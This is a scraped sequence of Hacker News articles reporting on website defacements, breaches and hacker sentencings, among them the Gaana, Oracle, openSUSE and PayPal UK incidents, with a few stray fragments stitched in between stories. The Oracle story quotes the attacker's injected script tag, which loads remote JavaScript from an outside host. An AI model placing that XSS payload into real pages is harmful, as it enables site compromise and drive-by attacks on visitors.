The Hacker News — Cyber Security, Hacking, Technology News

Former Reuters journalist Matthew Keys, who was convicted last year of helping the Anonymous group of hackers, has been sentenced to 24 months in prison for computer hacking charges.

Keys was found guilty last year in October of giving Anonymous login credentials that allowed the group to deface the Los Angeles Times, a Tribune Media-owned newspaper, back in 2013.

After leaving the job at Tribune Company-owned Sacramento KTXL Fox 40 in 2010, Keys posted login credentials for the company's content management system (CMS) on a chatroom where hacking collective Anonymous planned out their operations.

The hacking collective then logged into the CMS and defaced an LA Times article that remained defaced for about 40 minutes before a journalist noticed and changed it back – though Keys still denies all allegations.

Keys faced a possible sentence of up to 25 years for three counts of hacking charges under the Computer Fraud and Abuse Act.

Although the US Attorney General's office recommended a 5-year sentence, Keys has been condemned to two years in jail that will be followed by 2 years of supervised release.

Keys is set to surrender on June 15, 2016. After sentencing, Keys went on Twitter and wrote: "When we do appeal, we're not only going to work to reverse the conviction, but try to change this absurd computer law, as best we can."

In a blog post published on Medium, Keys also said that he was innocent and that the charges against him are "baseless, absurd and entirely wrong." He also said he is committed to journalism no matter what happens.

The Keys' case has drawn wide scale attention of media as he served as a deputy social media editor at Reuters. After he had been charged with the hacking crime in March 2013, Keys was released by Reuters from his position.

Gaana.com -- One of India's most popular music streaming service with more than 10 Million registered users and 7.5 Million monthly visitors -- has reportedly been hacked, exposing the site’s user information database.

A Pakistani hacker, who claimed responsibility for the hack, claims that details of over 10 Million users of Gaana service including their username, email addresses, MD5-encrypted password, date of births, and other personal information has been stolen and made available in a searchable database.

At the time of writing, Gaana website is currently down for maintenance without any official statement provided yet. As of now, the site displays, "Site is down due to server maintenance. We will be back shortly. Kindly bear with us till then."

Details of 10 Million Users Available in a Searchable Database:

The hacker, nicknamed Mak Man, posted the link to a searchable database of Gaana user details on his Facebook page, with images of the service's admin panel.

By exploiting an SQL injection vulnerability in Gaana website, Mak Man managed to gain access to the details of its 10 Million users. The hacker has also posted a screenshot of SQL exploit he used to get access to the data on Facebook.

Mak Man claimed that he reported the vulnerability by providing full details of the flaw to Gaana.com before. However, the company didn’t respond to his report and ignored, which results in the breach of innocent users personal information.

Flaw Reported to the Company, but Ignored:

It sounds really weird that Gaana from one of India’s biggest internet companies, Times Internet Limited, is vulnerable to such attacks. And even weird when such a reputed company is ignoring vulnerabilities reported to them, putting millions of users at risk.

Most of the data breaches occur because of such behaviour of the companies when hackers and bug hunters responsibly report them flaws but they ignore the issues, encouraging hackers to go public with the details of their customers.

Times Internet CEO Satyan Gajwani replied to the hacker's post on Facebook later and apologised that the company hadn't responded to the security concerns raised by Mak Man.

Gajwani then took to Twitter and said that the company is considering the issue seriously and taking steps to fix it. He also said there is no financial or sensitive information lost. He also encourages all customers to reset their passwords as soon as possible.

However, simply changing passwords to your Gaana account would not solve the problem, as it will reflect in the leaked database. You are advised to better deactivate your accounts until the issue is resolved. Besides this, change your email, Facebook and Twitter passwords if you are using the same as on Gaana.

UPDATE

"I hereby confirm that no financial information was accessed during the hack of Gaana.com .. Database was so huge that I didn't even bother looking and no information was dumped and stored locally .. not even a single row," Mak Man said in a Facebook Post.

However, even if the Hacker claims that he has not downloaded the Gaana.com database by exploiting the SQL injection vulnerability, doesn’t mean that nobody else has exploited the flaw, as the loophole in the website was open from last few months.

Meanwhile, it is possible that someone may have had their hands on the vulnerability and already stolen the data in past days without the company’s knowledge.

The hacktivist group Anonymous has launched a massive cyber attack against the Islamic State of Iraq and Syria (ISIS) — the radical Islamic terrorist group who were responsible for the terrorist attack against the Paris offices of satirical magazine Charlie Hebdo.

With huge social media presence, ISIS is the most active terror group on Facebook, Twitter, YouTube and Instagram accounts. But unluckily, over dozens of Facebook and Twitter accounts linked to ISIS has recently been taken by the Anonymous group.

In a video appeared on Youtube, Anonymous group and RedCult announced the operation #OpISIS and claimed to have carried out cyber attack against hundreds of Twitter and Facebook accounts used by ISIS for its own propaganda and to recruit new members.

According to the video, Operation #OpISIS is coordinated by "Muslims, Christians, Jews" alike and a masked individual discusses the aim of the campaign.

They are "hackers, crackers, Hacktivist, phishers, agents, spies, or just the guy next door… students, administrators, workers, clerks, unemployed, rich, poor." They are also "young, or old, gay or straight… from all races, countries, religions, and ethnicity. United as one, divided by zero," video explains.

A list of more than hundred Twitter and Facebook accounts suspected to belong to Islamic militants has been released by Anonymous. Twitter has already suspended more than 1500 ISIS accounts since the group released the first list in June, 2014 and dozens of militant recruiting websites were knocked offline using collective DDoS Attack.
Thousands of Twitter accounts associated with terrorist group Islamic State (ISIS) are still active and spreading jihadist propaganda despite a campaign by the hacktivist collective Anonymous to take them down.

According to Anonymous, it's just the beginning of their operation and warned ISIS that there will be "more to come."

However, ISIS supporters are circulating a new social media guide with instructions for acquiring accounts undetected.

In June, Hacktivist collective Anonymous launched a campaign to take down social media accounts and websites associated with ISIS terrorists as a response to the recent Charlie Hebdo attacks under operation #OpCharlieHebdo.

Anonymous hackers also threatened to target Saudi Arabia and related nations for funding and supporting ISIS group. In a previous note they explained, “We are unable to target ISIS because they predominantly fight on the ground. But we can go after the people or states who fund them.”

On Tuesday, Indian and Pakistani army forces continued to exchange fire along the Line of Control (LoC) in Jammu and Kashmir, which was started when Pakistan’s military fired machine guns and mortars at about 60 Indian army posts during last week.

Tensions between the two countries have intensified since Bilawal Bhutto Zardari, the only son of former Pakistani President Asif Ali Zardari and former Prime Minister Benazir Bhutto, made a statement that his Pakistan People's Party (PPP) would take back entire Kashmir from India. However, the Indian political party described his statement as "childish" and "irresponsible."

Different reactions came from different people out there from India for the chairman of Pakistan People’s Party and Central Executive Committee Bilawal Bhutto, but Hackers have their own way of expressing their part.

Here Bilawal Bhutto said that he would not leave an inch of Kashmir with India, and there an Indian Hacker defaced the Official Website of Pakistan People's Party (PPP).

Just few minutes before, the official website of PPP has been defaced by the Indian hacker who go by the name Black Dragon, as shown. The homepage of the website has been replaced with the defacement page showing Indian Tricolour Flag with the Indian National Anthem as the background music.

At the time of writing the website is still defaced and defacement mirror is also published. Hacker told The Hacker News, this would be quite an interesting and non-violence reply from him to the political parties like PPP which deliver such controversial statements that create tensions between the two nations.

UPDATE
Yesterday in a Tweet, Bilawal Bhutto attacked both the Indian government and Prime Minister Narendra Modi for LoC violations.

"Another attack on LOC. seems India adopting Israle model vs Pakistan. Modi must realize we can retaliate unlike his victims from Gujarat." he tweeted.

Now he is again trending on Twitter and Facebook with hashtag #YoBilawalSoDumb for his incorrect spelling of Israel in the tweet.

United Nation reportedly told Pakistan that the issue needed to be resolved diplomatically.

Hackforums - one of the popular hacking forum in the world - has been hacked and defaced by the famous Egyptian hacker with the online handle Eg-R1z.

HackForums is popular among both whitehats and blackhats. On one end of the spectrum, HackForums helps over 110,000 hacking community members to remove dangerous malware off of their computers, as well as promotes research and learning of various malwares.

But on the other end, it servers as a great platform for hackers and cyber thieves as well, who posts infected material in order to victimize others. The website is hosted in Europe on a server and expected to be earning an estimated $7,316 USD on a daily basis.

Last night, hackforums.net went dark with a defacement message that reads:

It is still unclear, how hacker managed to get into server and which type of vulnerability or weakness has been exploited. But, it seems that the hacker just exploited some flaw and defaced the website and then hosted the image on hacked server which was displayed on the defaced page.

Reason behind the defacement of the website is still unknown, but with the deface message, one can predict that the hacker is warning the HackForums admin about security.

The forum was unavailable for few hours last night, but at the time of writing, the site was back to its normal form, but site performance is still facing some issues. You can check the defacement mirror of the hack at Zone-h as a Proof of Hack.

It’s not first time HackForums website got hacked. In past, HackForums website was also hacked by various hackers with online handles imLulzPirate, b0x, SYRIAN-HACKER and KTN.

While the rest of the world was engaged in cyber security and privacy, an Indian patriotic hacker targeted 43 major Pakistani Government official websites, including ‘President of Pakistan’, ‘Government of Pakistan’, 'Ministry of Defence’, and whole Ministry of Pakistan.

Indian hacker Godzilla claimed responsibility to hack into one of the main proxy server of the Pakistan Government, which is being used to manage all the government websites. Once the hacker gained the access to the proxy server, he managed to take down those websites.

The attack on the websites are supposed to be severe as it has been over 24 hours and the websites are still down at the time of writing.

The hacker posted a message on his Facebook profile saying, “Poor Pakistan no matter how hard you try we can bypass those security anytime we want. Before making a statement in media against India think twice.”

Godzilla aka G.O.D is the same hacker who launched a cyber attack last year on a number of servers owned by the Pakistani government, causing a number of official departmental websites, including the Ministry of Science and Technology, Ministry of Information Technology and Ministry of Economic Affairs & Statistics, to crash.

This is not the first time, the hacker was also responsible for hacking Pakistan government and Bangladesh government websites multiple times in past.

Just a few hours ago, the Official website of the Tails Operating System has been hacked and it appears that a self-proclaimed 17-year old hacker breached and defaced it.

Tails is a Linux-based highly secure Operating System, specially designed and optimized to preserve users' anonymity and privacy. Hacker, who named himself "Sum guy", managed to access the website as administrator and edited the homepage content with the following message:

You has been haxoredeszed by sum dumb 17 year old by accident... Sorry about that please forgive me! I accidentally logged myself in as someone important and changed the site, not knowing that what I was changing would save! So sorry about that... I hope you have a backup, Oh and btw I love your OS! Yours sincerely, Sum guy
And before I leave,
Hi ed...
and zoin

Defaced Link: https://tails.boum.org/index.en.html. However, all other pages on the Tails website are working just fine, but at this moment it is not clear whether the hacker has also modified the OS Image or not. So readers are advised to do not download the Tails OS from the website, at least for a few days.

Tails, also known as 'Amnesiac Incognito Live System', is free software based on Debian GNU/Linux and you install it on a DVD or USB drive, boot up the computer from the drive. This allows you to work on a sensitive file on any computer and prevent the data being recovered after the computer is turned off.

Tails was reportedly used by the NSA Whistle-blower Edward Snowden in discussions with journalists because it includes a range of tools for protecting your data by means of strong encryption.

I will update the story after receiving more details on the hack. Stay Tuned.

Tip Credit: Lauri Soivi.

A Philippine Hacker group claiming ties with the hacktivist collective Anonymous defaced early Monday several Chinese Government websites.

"Anonymous Philippines" claimed responsibility for defacing more than 200 Chinese websites in retaliation for Beijing's aggressive actions in the West Philippine Sea, according to the messages posted on their Facebook page.

"The operation was a success, we might not have brought China to it's knees but we gave hope to our brothers and sisters, because hope is what we need right now. Hope that someday people will stand-up and fight back!" Anonymous Philippines said.

At the time of writing, More than 145 Chinese Government (list 1) and 45 Commercial websites (list 2) were displaying the following defacement message:

"China's alleged claim on maritime territories and oppressive poaching can no longer be tolerated. Stand against Oppression! It's time to fight back! Say NO to China's Bullying!"

The reason behind the defacement of websites is due to the conflict of alleged firing on the Filipino fishermen by the Chinese Coast guard and the arrest of eleven Chinese fishermen by Filipino police, who were charged for poaching a Critically Endangered species (555 marine turtles) and could face 12-20 years in prison.

The defacement is the way of the Anonymous Philippines hacking group to strike back against China, over the territorial dispute on the ownership of the islands located between the Philippines and China in the West Philippines sea.

This is not first time when the group has defaced government websites. The ‘Anonymous Philippines’ group is famous for defacing government websites. In 2012, the group gained the attention by defacing several Philippines government websites in the protest for the Cybercrime Law.

• Kali with description "Hacked By The GreaT TeAm -TGT"
• Kali-Dev with description “Libyan Hackers”

A group of Indian Hackers dubbed as I-HOS TEAM has successfully defaced a page on the sub domain of Oracle Corporation, biggest provider of enterprise software, computer hardware and Services.

The users visiting the domain are being greeted with a custom webpage with black background and the theme song of an Indian Movie “BOSS”. The defacement page is displaying a logo with title “IHOS - Indian Hackers Online Squad” with a quotation for all the Indian hackers shows, “LOVE TO ALL INDIAN HACKERS OUT THERE.”

Neither the website nor the server was actually compromised, but the Hacker going by online alias ‘Bl@Ck Dr@GoN’, actually found a page on the Oracle website that allows him to inject HTML/JavaScript code into the Oracle University Electronic Attendance webpage in order to modify the content, as shown in the screenshot provided to The Hacker News:

Hacker told THN that anyone is able to edit the Student name on the website and can insert any code, which is not sanitized properly by the Oracle website. This is awful to see that World’s biggest programming and Software company failed to protect their website from very basic Cross Site Scripting vulnerability.

Defaced Link: Click Here
Injected Javascript: <script src=http://oppwnjms.loomhost.com/bd1.js></script>

At the time of writing, the website was defaced and in case it got fixed, users may check the defaced website’s mirror at Zone-H.

In most of the cases, a hacker look to promote a specific cause when defacing a high profile site, but in this case there seems to have no specified reason to deface the web page. We mostly have seen the defacement of website by the hackers lifting boring messages like “Hello World” or similar, but this is the first time when Oracle Web page is sounding Yo Yo Honey Singh’s beat-full Song.

Another modified headline stated: “Up to 143,000 Nazis requested asylum in Russia in two weeks,” 

A pro-hacker group, aligned with president Bashar al-Assad, very well known as Syrian Electronic Army (SEA) has again gained the media attention by adding the popular sites, i.e. eBay UK and PayPal UK to its victim list.

After targeting websites of various media agencies, government organizations and big enterprises, including the latest defaced CNN and Microsoft, today they targeted and defaced the official websites of UK’s Ebay (ebay.co.uk) and PayPal (paypal.co.uk).

The group also left a deface page along with a message on the hacked PayPal UK site: “Hacked by Syrian Electronic Army! Fuck the United States Government.”

It is clear that the attack on PayPal could put millions of peoples' bank information at risk, but the group said that the attack is not to target account information of people instead was ‘Purely a Hacktivist Operation’ with the reason behind is the discrimination of Syrian citizens by PayPal company.

“For denying Syrian citizens the ability to purchase online products, PayPal was hacked by SEA”, “If your PayPal account is down for a few minutes, think about Syrians who were denied online payments for more than 3 years. #SEA”, the messages in the Official Twitter account of the group.

PayPal is currently one of the biggest international e-commerce business, allowing payments and money transfers to be made through the Internet. Whereas eBay is an American multinational internet consumer-to-consumer corporation popularly used for Online shopping around the Globe. 

Anuj Nayar, PayPal's senior director of global initiatives, told Mashable, "For a brief period today, a very limited number of people visiting certain PayPal and eBay marketing pages in the UK, France and India were redirected. The issue was quickly detected and resolved. No customer data was accessed by these redirects, and no customer accounts were affected. We take the security and privacy of our customers very seriously and are actively investigating the reasons behind the temporary redirects."

At the time of writing, The official website of Hacking Group was down and the Twitter account has also been suspended.

Late night on 26th January (65th Republic Day of India), the official website of Indian cricket’s Governing body, BCCI.TV has been defaced by Bangladeshi hacker who goes by the name Ashik Iqbal Chy.

The ‘About Us’ page on the website has the message “Don’T MesS UP WitH TiGeRs!” along with the image of the Bangladesh national cricket team running with the Bangladeshi Flag.

The ‘Attack’ on BCCI’s website is most likely in response to the latest draft proposal, which aims to shift the control of global cricket from the hands of International Cricket Council (ICC) into the hands of top three cricket boards BCCI, Cricket Australia (CA), England and Wales Cricket Board (ECB); therefore the fate of cricket in smaller countries like Bangladesh, New Zealand and others is set to be left in the hands of these three cricket boards, which seems not to be digested by them.

Recently, there also have been protests in Bangladesh against this proposal and the Bangladesh Cricket Board (BCB) has itself took a stand on the issue and is strictly against this new proposal.

The proposal will be placed in front of the ICC executive board on January 28th and 29th, and will need approval of seven out of 10 full members to become a reality.

The BCCI website has been shut down completely with no active links on their homepage. At the time of publishing this article, the homepage of the Indian cricket Board website was 'under maintenance'.

Well, this will be seen later that the draft proposal will become a reality or not, but for now BCCI may have to face more cyber attacks from other small countries.

Yesterday Night Microsoft has faced another targeted attack by the Syrian Electronic Army (SEA), a group supposed to be aligned with Syrian President Bashar al-Assad.

The SEA group is popular for its advance phishing attack and using the same technique they also hacked into the Official Twitter account of Microsoft News, Xbox Support, Skype and also defaced the Microsoft, Skype Official Blog pages in the past few weeks.

Yesterday, Just after the Microsoft uploaded the newly designed website of it 'Microsoft Office' blog, the Syrian Electronic Army gang again compromised it successfully.

SEA uploaded the hacked blog screenshots on their twitter account, with a defacement article titled “Hacked by the Syrian Electronic Army", as shown.

Before, they also taunted Microsoft that "changing the CMS will not help you if your employees are hacked and they don't know about that."

The Group kept their promise to continue their attacks on the Microsoft. More screenshots of the admin panel are as shown below:

 

One of the most famous saying from Bill Gates read,“I always choose a lazy person to do a hard job because a lazy person will find an easy way to do it”, but now it’s time to hire some clever and pro-active employees in the Microsoft to defend itself from such foolish attacks i.e. Phishing and Social Engineering.

Oops.. Hackers got Hacked! The Syrian Electronic Army, who has hacked hundreds of High Profile targets in 2013-14, today they got hacked by a Turkish hacker.

Turkguvenligi, a Turkish hacker told The Hacker News that he hacked and defaced the official website of the hacking group SEA (sea.sy and leaks.sea.sy).

SEA Group has taken down many serious targets like Microsoft, Obama & New York Times' twitter accounts & websites in the past, but today their own server got breached.

The most common hacking technique used by the SEA Group is Phishing, but the Turkguvenligi hacked then using an exploit known for vulnerabilities in the server or website.

At the time of writing this news, the whole website of SEA was down, but our readers can see the defacement mirror on Zone-H.

Turkguvenligi tagged SEA in a tweet, says "hi guys, you have been hacked":

The Syrian Electronic Army group has not commented anything about the hack, but We'll keep you updated, so stay tuned.

Update: Turkguvenligi told us that he also hacked into some of the SEA's personal websites, hosted on the same server and managed to successfully gain the access to hosting panel, which gave them access to RAID device also.

Statement from SEA Group:

The hosting company that hosts #SEA websites, including (http://leaks.sea.sy) was attacked... (sea.sy) was not affected. Since the #SEA servers is managed by the hosting company, they down the servers quickly to make sure that will not happen again. Such attacks will not affect the #SEA, we will continue our hacks and operations.

It could be the worst day ever for Microsoft's patch management and Incident response team. A group of pro-Syrian  hackers 'Syrian Electronic Army' has successfully compromised the official Twitter account of the Microsoft News (@MSFTNews), Xbox Support.

They also defaced the Microsoft's TechNet blog (blogs.technet.com), and posted deface not over the blog. Microsoft says the situation is under control and no customer data was compromised.

It seems that hackers have more internal access to the mailer system of the Microsoft, as they shared a screenshots of the internal communications between Microsoft’s Public relations team and Steve Clayton, who is the manager in charge of Microsoft’s corporate media platforms. 

Last week, the SEA hacked Skype's blog and official twitter page, to spread the information about the NSA spying i.e. "Hacked by Syrian Electronic Army.. Stop Spying!" and today we have seen similar tweets from the Microsoft's News account.
The hacked tweets were visible on Microsoft's Twitter account for at least an hours, but have since been deleted. For the time being, their blog is also down for maintenance.

Stay tuned to +The Hacker News for information about the hack, we will update shortly.

Today is January 11, 2014 and the last year on the same day a 26-year-old, young hacker, Reddit cofounder and the digital Activist, Aaron H. Swartz committed suicide. He found dead in his Brooklyn, New York apartment, where he had hanged himself.Swartz was indicted by a federal grand jury in July 2011, accused of hacking the MIT JSTOR database and stealing over four million documents with the intent to distribute them.

He could have prison for 50 years and $4 million in fines by the Court, but before that he committed suicide in fear. Swartz's father, Robert, later blamed the MIT and the judiciary system for his son's death.

On the first Anniversary of Aaron Swartz, today the Anonymous group of hackers defaced the sub-domain of the Massachusetts Institute of Technology (MIT) website (http://cogen.mit.edu/) for about an hour as part of #OPLASTRESORT.

Defacement page was titled 'THE DAY WE FIGHT BACK'. The message posted on it, “Remember The Day We Fight Back, Remember. We Never Forget, We Never Surrender, Expect Us.”

At the time of writing, the domain was down. The attack on the website of MIT is a part of the tragic suicide of hacker Aaron Swartz to give him tribute.

It was the MIT's role in the federal prosecution against an activist, which ultimately led to him committing suicide, but the U.S Government has not learned anything and they are planning to make laws stricter against hackers. Recently, The Senate Judiciary Committee Chairman 'Patrick Leahy' reintroduced a revamped version of the "Personal Data Privacy and Security Act" for tough criminal penalties for hackers.

The new bill suggests 20 years in prison, rather than 10 years (currently) and also recommending to give same penalties for the hackers who even attempt to hack the systems, but doesn't succeed.

After Snapchat hack, this can be another worst data breach of the new year. A Pakistani hacker 'H4x0r HuSsY' has successfully compromised the official Forum of 'openSUSE', a Linux distro developed, sponsored & supported by SUSE.

The hacker managed to deface the Forum and uploaded its custom message page as shown and account information of 79,500 registered users' may have been compromised. (The forum was defaced at the time of writing - Check Here)

The popular website MacRumors's Forum was compromised in last November using an alleged zero day exploit, which is based on vBulletin, a famous forum software. The openSUSE Forum is also based upon vBulletin.

Another interesting fact is that openSUSE is still using vBulletin 4.2.1, which is vulnerable to inject rogue administrator accounts flaw. Whereas, the latest patched vBulletin 5.0.5 is available. Possibly, Hacker exploits same or another known vBulletin version 4.2.1 vulnerability to access the website's administrative panel.

It seems that openSUSE team is even not aware about the data breach, but we have informed them and also trying to contact the hacker for further information on this.

Update (7:00 PM Tuesday, January 7, 2014 GMT): The Pakistani Hacker confirmed is that has uploaded a PHP shell on the forum server using his own Private vBulletin's zero-day exploit, that allows him to browse, read or write/overwrite any file on the Forum server without root privileges.

There are a few screenshots shared by hacker with us:

He also claimed to have the full access to the user's database, however he has promised not to disclose the database dump because the purpose of the hack is only to highlight the security weakness.

Another important claim by the hacker that vBulletin 5.0.5 latest version is also vulnerable to his zero-day exploit and there is no patch yet available to fix it. He noticed that after our news report, the Server administrator has removed the defaced page, but to proof his exploit he has uploaded another file on the server again:
There are thousands of Forums using vBulletin software and many of them are huge huge.. Well hacker has not shared any information about the vulnerability, but we are sure that official vBulletin team will consider this critical threat to fix with high priority.

Update (7:24 PM Tuesday, January 7, 2014 GMT): openSUSE team has informed the users' via tweets about the breach,"Warning: Our forums are down because they were defaced. We're currently investigating what exactly has happened."
But they have mentioned that, "Rest assured, no user credentials have been leaked as we use a single sign on system for our services. Note that we use SSO so we don't think we lost any account data."
After openSUSE's tweet, the hacker has shared some sample database screenshots on his Facebook account to prove the database hack. We have partially blur the screenshot before sharing, to keep sensitive data secure, as shown above.

Update (4:00 AM Wednesday, January 8, 2014 GMT): In a blog post, openSUSE team confirmed that their website and database have been hacked, but users' passwords are not compromised.

A cracker managed to exploit a vulnerability in the forum software which made it possible to upload files and gave access to the forum database.

The team explained, they are using single-sign-on system (Access Manager from NetIQ) that manage the real passwords.

Credentials for your openSUSE login are not saved in our application databases as we use a single-sign-on system (Access Manager from NetIQ) for all our services. This is a completely separate system and it has not been compromised by this crack. What the cracker reported as compromised passwords where indeed random, automatically set strings that are in no way connected to your real password.